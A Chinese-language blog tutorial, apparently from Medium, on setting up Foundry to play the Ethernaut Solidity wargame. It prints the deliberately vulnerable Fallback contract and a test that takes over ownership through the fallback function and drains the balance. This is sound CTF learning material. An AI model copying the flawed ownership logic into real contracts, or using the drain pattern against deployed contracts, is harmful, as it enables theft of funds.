Ethernaut is a Web3/Solidity based wargame inspired in overthewire.org, to be played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.
本篇主題是使用 Foundry 來對 Ethernaut 做練習,當然也可以在原始網站用 js 進行練習,但我覺得不管是使用 Solidity 還是 JS 都是需要熟悉這些互動過程和分析過程的,所以本篇使用比較少人用的 Foundry 來跟Ethernaut 玩玩!
首先在我們要的資料夾裡面初始化 Foundry 環境:
$ forge init
下載 ciaranmcveigh5/ethernaut-x-foundry
:
$ git clone https://github.com/ciaranmcveigh5/ethernaut-x-foundry/tree/main/src/test
這一步我們要把所有 ethernaut-x-foundry/src
中的檔案移到當初我們 init
的 src
資料夾中建立的 ethernaut
資料夾,移動完後的檔案長這樣:
$ cd src
$ tree
>
├─ethernaut
│ ├─AlienCodex
│ ├─CoinFlip
│ ├─Delegation
│ ├─Denial
│ ├─Dex
│ ├─DexTwo
│ ├─Elevator
│ ├─Fallback
│ ├─Fallout
│ ├─Force
│ ├─GatekeeperOne
│ ├─GatekeeperTwo
│ ├─King
│ ├─MagicNum
│ ├─Motorbike
│ ├─NaughtCoin
│ ├─Preservation
│ ├─Privacy
│ ├─PuzzleWallet
│ │ └─openzeppelin
│ ├─Recovery
│ ├─Reentrance
│ ├─Shop
│ ├─Telephone
│ ├─test
│ │ └─utils
│ ├─Token
│ └─Vault
└─test
其中 src/ethernaut/test
這個資料夾是我們從 ethernaut-x-foundry/src
中複製下來的解答們,大家可以先試試看不要看解答做題目喔,如果真的寫不出來再去看看提示吧!這邊我會選擇先把它們刪掉哈哈哈哈哈!
在 foundry.toml
中設定 remappings:
[profile.default]
src = 'src'
out = 'out'
libs = ['lib']
remappings = ['forge-std/=lib/forge-std/src/',
'openzeppelin-contracts/=lib/openzeppelin-contracts/']
# See more config options https://github.com/foundry-rs/foundry/tree/master/config
那首先在 src/test
中建立一個檔案 00-HelloEthernaut.t.sol
:
pragma solidity >=0.6.0 <0.9.0;
import "forge-std/Test.sol";
import "../ethernaut/Fallback/FallbackFactory.sol";
import "../ethernaut/Ethernaut.sol";
contract HelloEthernautTest is Test {
function setUp() public {}
function testExample() public {
assertTrue(true);
}
}
進行測試看有沒有正常抓到檔案們和一切有沒有問題!
$ forge test
>
Running 1 test for src\test\00-HelloEthernaut.t.sol:HelloEthernautTest
[PASS] testExample() (gas: 212)
Test result: ok. 1 passed; 0 failed; finished in 1.78ms
未來我們的所有解題模板都是以上這個框架,只是換了 testFunction
的 body 跟 import
的檔案而已!接下來就可以大寫特寫囉!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version
import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = payable(msg.sender); // Type issues must be payable address
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender); // Type issues must be payable address
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
fallback() external payable { // naming has switched to fallback
require(msg.value > 0 && contributions[msg.sender] > 0, "tx must have value and msg.send must have made a contribution"); // Add message with require
owner = payable(msg.sender); // Type issues must be payable address
}
}
這題其實非常容易,就單純是要想辦法把 owner
換成自己,有兩種方法可以更改 owner
,分別是:
contribute()
fallback()
pragma solidity >=0.6.0 <0.9.0;
import "forge-std/Test.sol";
import "../ethernaut/<LevelName>/<LevelNameFactory>.sol";
import "../ethernaut/Ethernaut.sol";
contract <LevelNameTest> is Test {
Ethernaut public ethernaut;
address attacker = address(123456789);
function setUp() public {
ethernaut = new Ethernaut();
vm.deal(attacker, 5 ether);
}
function testLevelHack() public {
/**********************************
// LEVEL SETUP
**********************************/
LevelNameFactory levelNameFactory = new LevelNameFactory();
ethernaut.registerLevel(levelNameFactory);
vm.startPrank(attacker);
address levelAddress = ethernaut.createLevelInstance(levelNameFactory);
Fallback ethernautFallback = Fallback(payable(levelAddress));
/**********************************
// LEVEL ATTACK
**********************************/
// pass...
/**********************************
// LEVEL SUBMISSION
**********************************/
bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(
payable(levelAddress)
);
vm.stopPrank();
assert(levelSuccessfullyPassed);
}
}
pragma solidity >=0.6.0 <0.9.0;
import "forge-std/Test.sol";
import "../ethernaut/Fallback/FallbackFactory.sol";
import "../ethernaut/Ethernaut.sol";
contract FallbackTest is Test {
// pass...
function testFallbackHack() public {
/**********************************
// LEVEL SETUP
**********************************/
// pass...
/**********************************
// LEVEL ATTACK
**********************************/
// Contribute 1 wei - verify contract state has been updated
ethernautFallback.contribute{value: 1 wei}();
assertEq(ethernautFallback.contributions(attacker), 1 wei);
// Call the contract with some value to hit the fallback function - .transfer doesn't send with enough gas to change the owner state
payable(address(ethernautFallback)).call{value: 1 wei}("");
// Verify contract owner has been updated to 0 address
assertEq(ethernautFallback.owner(), attacker);
// Withdraw from contract - Check contract balance before and after
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
ethernautFallback.withdraw();
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
/**********************************
// LEVEL SUBMISSION
**********************************/
// pass...
}
}
這裡礙於篇幅只介紹第一題,大家可以順著自己下去玩看看,雖然使用 Foundry 時有可能會讓某些步驟變得比較簡單,但也可以嘗試自己加深難度喔!
雖然最近很多 CTF 有一點太難了很像是故意考某個小版本無關痛癢的 bug,不過知名的大 CTF 題目還是很值得練習一下的!未來我也會發布一連串的 CTF 題庫解,因為公司需求的關係我通常是用 Foundry 去做為開發環境,可以繼續關注我的 Medium!
最後歡迎大家拍打餵食大學生
0x2b83c71A59b926137D3E1f37EF20394d0495d72d